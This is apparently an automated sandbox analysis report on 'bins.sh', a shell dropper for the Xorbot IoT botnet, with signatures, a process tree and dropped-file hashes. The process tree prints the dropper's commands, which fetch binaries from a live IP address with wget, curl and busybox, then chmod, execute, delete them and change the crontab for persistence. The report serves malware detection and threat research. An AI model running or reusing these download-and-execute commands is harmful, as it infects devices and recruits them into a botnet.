Analysis

  • max time kernel
    113s
  • max time network
    142s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20250619-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20250619-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    11/09/2025, 03:11

General

  • Target
    bins.sh
  • Size 10KB
  • Sample250911-dppv3afl3t
  • SHA256 ef1e3e5b105212307dda1ef228a4494b446f70a40ceef1b1aa6096fba921894e
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Detects Xorbot 6 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (687) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 8 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 8 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 24 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    PID:703
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:705
      • /usr/bin/wget
        wget http://178.16.54.252/bins/oJTKEHHfjlBwhr0wKEKO1l56aUd3Uc30Ta
        2⤵
        • Writes file to tmp directory
        PID:707
      • /usr/bin/curl
        curl -O http://178.16.54.252/bins/oJTKEHHfjlBwhr0wKEKO1l56aUd3Uc30Ta
        2⤵
        • Writes file to tmp directory
        PID:728
      • /bin/busybox
        /bin/busybox wget http://178.16.54.252/bins/oJTKEHHfjlBwhr0wKEKO1l56aUd3Uc30Ta
        2⤵
        • Writes file to tmp directory
        PID:734
      • /bin/chmod
        chmod 777 oJTKEHHfjlBwhr0wKEKO1l56aUd3Uc30Ta
        2⤵
        • File and Directory Permissions Modification
        PID:735
      • /tmp/oJTKEHHfjlBwhr0wKEKO1l56aUd3Uc30Ta
        ./oJTKEHHfjlBwhr0wKEKO1l56aUd3Uc30Ta
        2⤵
          PID:736
        • /bin/rm
          rm oJTKEHHfjlBwhr0wKEKO1l56aUd3Uc30Ta
          2⤵
            PID:738
          • /usr/bin/wget
            wget http://178.16.54.252/bins/4XGHCy6I55FmWeuln2rkbJkKI0wL25demn
            2⤵
            • Writes file to tmp directory
            PID:739
          • /usr/bin/curl
            curl -O http://178.16.54.252/bins/4XGHCy6I55FmWeuln2rkbJkKI0wL25demn
            2⤵
            • Writes file to tmp directory
            PID:740
          • /bin/busybox
            /bin/busybox wget http://178.16.54.252/bins/4XGHCy6I55FmWeuln2rkbJkKI0wL25demn
            2⤵
            • Writes file to tmp directory
            PID:741
          • /bin/chmod
            chmod 777 4XGHCy6I55FmWeuln2rkbJkKI0wL25demn
            2⤵
            • File and Directory Permissions Modification
            PID:742
          • /tmp/4XGHCy6I55FmWeuln2rkbJkKI0wL25demn
            ./4XGHCy6I55FmWeuln2rkbJkKI0wL25demn
            2⤵
              PID:743
            • /bin/rm
              rm 4XGHCy6I55FmWeuln2rkbJkKI0wL25demn
              2⤵
                PID:745
              • /usr/bin/wget
                wget http://178.16.54.252/bins/PLQ7PCXibcpS2frycRD6QZl8eAScLECbHi
                2⤵
                • Writes file to tmp directory
                PID:746
              • /usr/bin/curl
                curl -O http://178.16.54.252/bins/PLQ7PCXibcpS2frycRD6QZl8eAScLECbHi
                2⤵
                • Writes file to tmp directory
                PID:754
              • /bin/busybox
                /bin/busybox wget http://178.16.54.252/bins/PLQ7PCXibcpS2frycRD6QZl8eAScLECbHi
                2⤵
                • Writes file to tmp directory
                PID:767
              • /bin/chmod
                chmod 777 PLQ7PCXibcpS2frycRD6QZl8eAScLECbHi
                2⤵
                • File and Directory Permissions Modification
                PID:773
              • /tmp/PLQ7PCXibcpS2frycRD6QZl8eAScLECbHi
                ./PLQ7PCXibcpS2frycRD6QZl8eAScLECbHi
                2⤵
                  PID:774
                • /bin/rm
                  rm PLQ7PCXibcpS2frycRD6QZl8eAScLECbHi
                  2⤵
                    PID:777
                  • /usr/bin/wget
                    wget http://178.16.54.252/bins/Q1GXpftsDNh8j5RHBALwbzquzAfVRRNnmK
                    2⤵
                    • Writes file to tmp directory
                    PID:778
                  • /usr/bin/curl
                    curl -O http://178.16.54.252/bins/Q1GXpftsDNh8j5RHBALwbzquzAfVRRNnmK
                    2⤵
                    • Writes file to tmp directory
                    PID:787
                  • /bin/busybox
                    /bin/busybox wget http://178.16.54.252/bins/Q1GXpftsDNh8j5RHBALwbzquzAfVRRNnmK
                    2⤵
                    • Writes file to tmp directory
                    PID:800
                  • /bin/chmod
                    chmod 777 Q1GXpftsDNh8j5RHBALwbzquzAfVRRNnmK
                    2⤵
                    • File and Directory Permissions Modification
                    PID:801
                  • /tmp/Q1GXpftsDNh8j5RHBALwbzquzAfVRRNnmK
                    ./Q1GXpftsDNh8j5RHBALwbzquzAfVRRNnmK
                    2⤵
                      PID:802
                    • /bin/rm
                      rm Q1GXpftsDNh8j5RHBALwbzquzAfVRRNnmK
                      2⤵
                        PID:804
                      • /usr/bin/wget
                        wget http://178.16.54.252/bins/ckZwvjP59ZlXcskBJtqL9spsbuJjQqIBDn
                        2⤵
                        • Writes file to tmp directory
                        PID:805
                      • /usr/bin/curl
                        curl -O http://178.16.54.252/bins/ckZwvjP59ZlXcskBJtqL9spsbuJjQqIBDn
                        2⤵
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:806
                      • /bin/busybox
                        /bin/busybox wget http://178.16.54.252/bins/ckZwvjP59ZlXcskBJtqL9spsbuJjQqIBDn
                        2⤵
                        • Writes file to tmp directory
                        PID:807
                      • /bin/chmod
                        chmod 777 ckZwvjP59ZlXcskBJtqL9spsbuJjQqIBDn
                        2⤵
                        • File and Directory Permissions Modification
                        PID:808
                      • /tmp/ckZwvjP59ZlXcskBJtqL9spsbuJjQqIBDn
                        ./ckZwvjP59ZlXcskBJtqL9spsbuJjQqIBDn
                        2⤵
                          PID:809
                        • /bin/rm
                          rm ckZwvjP59ZlXcskBJtqL9spsbuJjQqIBDn
                          2⤵
                            PID:811
                          • /usr/bin/wget
                            wget http://178.16.54.252/bins/XUOY3utd54Hj6YIl6nxktPj1SOFZwo6GfF
                            2⤵
                            • Writes file to tmp directory
                            PID:812
                          • /usr/bin/curl
                            curl -O http://178.16.54.252/bins/XUOY3utd54Hj6YIl6nxktPj1SOFZwo6GfF
                            2⤵
                            • Writes file to tmp directory
                            PID:821
                          • /bin/busybox
                            /bin/busybox wget http://178.16.54.252/bins/XUOY3utd54Hj6YIl6nxktPj1SOFZwo6GfF
                            2⤵
                            • Writes file to tmp directory
                            PID:832
                          • /bin/chmod
                            chmod 777 XUOY3utd54Hj6YIl6nxktPj1SOFZwo6GfF
                            2⤵
                            • File and Directory Permissions Modification
                            PID:838
                          • /tmp/XUOY3utd54Hj6YIl6nxktPj1SOFZwo6GfF
                            ./XUOY3utd54Hj6YIl6nxktPj1SOFZwo6GfF
                            2⤵
                              PID:839
                            • /bin/rm
                              rm XUOY3utd54Hj6YIl6nxktPj1SOFZwo6GfF
                              2⤵
                                PID:842
                              • /usr/bin/wget
                                wget http://178.16.54.252/bins/4uAAowmz56sVlEbLLIVIWy4ly78olwO04N
                                2⤵
                                • Writes file to tmp directory
                                PID:844
                              • /usr/bin/curl
                                curl -O http://178.16.54.252/bins/4uAAowmz56sVlEbLLIVIWy4ly78olwO04N
                                2⤵
                                • Reads runtime system information
                                • Writes file to tmp directory
                                PID:850
                              • /bin/busybox
                                /bin/busybox wget http://178.16.54.252/bins/4uAAowmz56sVlEbLLIVIWy4ly78olwO04N
                                2⤵
                                • Writes file to tmp directory
                                PID:851
                              • /bin/chmod
                                chmod 777 4uAAowmz56sVlEbLLIVIWy4ly78olwO04N
                                2⤵
                                • File and Directory Permissions Modification
                                PID:852
                              • /tmp/4uAAowmz56sVlEbLLIVIWy4ly78olwO04N
                                ./4uAAowmz56sVlEbLLIVIWy4ly78olwO04N
                                2⤵
                                  PID:853
                                • /bin/rm
                                  rm 4uAAowmz56sVlEbLLIVIWy4ly78olwO04N
                                  2⤵
                                    PID:855
                                  • /usr/bin/wget
                                    wget http://178.16.54.252/bins/cas0L87cJdnIsypP1iWZkRGLVJgRdambBO
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:856
                                  • /usr/bin/curl
                                    curl -O http://178.16.54.252/bins/cas0L87cJdnIsypP1iWZkRGLVJgRdambBO
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:857
                                  • /bin/busybox
                                    /bin/busybox wget http://178.16.54.252/bins/cas0L87cJdnIsypP1iWZkRGLVJgRdambBO
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:858
                                  • /bin/chmod
                                    chmod 777 cas0L87cJdnIsypP1iWZkRGLVJgRdambBO
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:859
                                  • /tmp/cas0L87cJdnIsypP1iWZkRGLVJgRdambBO
                                    ./cas0L87cJdnIsypP1iWZkRGLVJgRdambBO
                                    2⤵
                                    • Renames itself
                                    • Reads runtime system information
                                    PID:860
                                    • /bin/sh
                                      sh -c "crontab -l"
                                      3⤵
                                        PID:862
                                        • /usr/bin/crontab
                                          crontab -l
                                          4⤵
                                          • Reads runtime system information
                                          PID:863
                                      • /bin/sh
                                        sh -c "crontab -"
                                        3⤵
                                          PID:864
                                          • /usr/bin/crontab
                                            crontab -
                                            4⤵
                                            • Creates/modifies Cron job
                                            PID:865
                                      • /bin/rm
                                        rm cas0L87cJdnIsypP1iWZkRGLVJgRdambBO
                                        2⤵
                                          PID:867
                                        • /usr/bin/wget
                                          wget http://178.16.54.252/bins/hF548IdWvT7kXeSrzgVUSM1GK9cqGKhi1O
                                          2⤵
                                            PID:870

                                        Network

                                              MITRE ATT&CK Enterprise v16

                                              Replay Monitor

                                              Loading Replay Monitor...

                                              Downloads

                                              4XGHCy6I55FmWeuln2rkbJkKI0wL25demn

                                              • Path /tmp/4XGHCy6I55FmWeuln2rkbJkKI0wL25demn
                                              • Size 178KB
                                              • SHA256 9c683b0be86d4cd274a7a16073bdf092218f259b055a72f848d589574e9b8084
                                              • MD5 SHA1 SHA512 SSDEEP

                                              4uAAowmz56sVlEbLLIVIWy4ly78olwO04N

                                              • Path /tmp/4uAAowmz56sVlEbLLIVIWy4ly78olwO04N
                                              • Size 141KB
                                              • SHA256 87f11a3ee2486bc4845a28465c2e70d2d9f98725edf4a73c3359c23a43ed74b7
                                              • MD5 SHA1 SHA512 SSDEEP

                                              PLQ7PCXibcpS2frycRD6QZl8eAScLECbHi

                                              • Path /tmp/PLQ7PCXibcpS2frycRD6QZl8eAScLECbHi
                                              • Size 120KB
                                              • SHA256 620f6949b82f9ef987b7511fbbb09c2da57d8be47b019fa6a9686ce08b4c3e70
                                              • MD5 SHA1 SHA512 SSDEEP

                                              Q1GXpftsDNh8j5RHBALwbzquzAfVRRNnmK

                                              • Path /tmp/Q1GXpftsDNh8j5RHBALwbzquzAfVRRNnmK
                                              • Size 127KB
                                              • SHA256 dfd830368724f6abcc542bc8b85e3d5fa2aedf8282d3805d0d6d53f45c7e0937
                                              • MD5 SHA1 SHA512 SSDEEP

                                              XUOY3utd54Hj6YIl6nxktPj1SOFZwo6GfF

                                              • Path /tmp/XUOY3utd54Hj6YIl6nxktPj1SOFZwo6GfF
                                              • Size 113KB
                                              • SHA256 de5fb68023465cb5d8ace412e11032d98a41bd6af2a83245c046020530130496
                                              • MD5 SHA1 SHA512 SSDEEP

                                              cas0L87cJdnIsypP1iWZkRGLVJgRdambBO

                                              • Path /tmp/cas0L87cJdnIsypP1iWZkRGLVJgRdambBO
                                              • Size 152KB
                                              • SHA256 f39b67fff1f106fb1b4fa9beb386427c8e7eb010f306ad0445da70bffc855f2e
                                              • MD5 SHA1 SHA512 SSDEEP

                                              ckZwvjP59ZlXcskBJtqL9spsbuJjQqIBDn

                                              • Path /tmp/ckZwvjP59ZlXcskBJtqL9spsbuJjQqIBDn
                                              • Size 118KB
                                              • SHA256 85758df12964024af3ae829e3630f9ad5de7c55dae00181198033da8816e3293
                                              • MD5 SHA1 SHA512 SSDEEP

                                              oJTKEHHfjlBwhr0wKEKO1l56aUd3Uc30Ta

                                              • Path /tmp/oJTKEHHfjlBwhr0wKEKO1l56aUd3Uc30Ta
                                              • Size 98KB
                                              • SHA256 8340ff8920412a70f0c29cdf72f6f218e61142b3f210e70e24811c413971a8ed
                                              • MD5 SHA1 SHA512 SSDEEP

                                              tmp.VoX7Ns

                                              • Path /var/spool/cron/crontabs/tmp.VoX7Ns
                                              • Size 210B
                                              • SHA256 08ac8663f9816d12488245ed803d246822c80f34d778f2b85e7df410af8e378b
                                              • MD5 SHA1 SHA512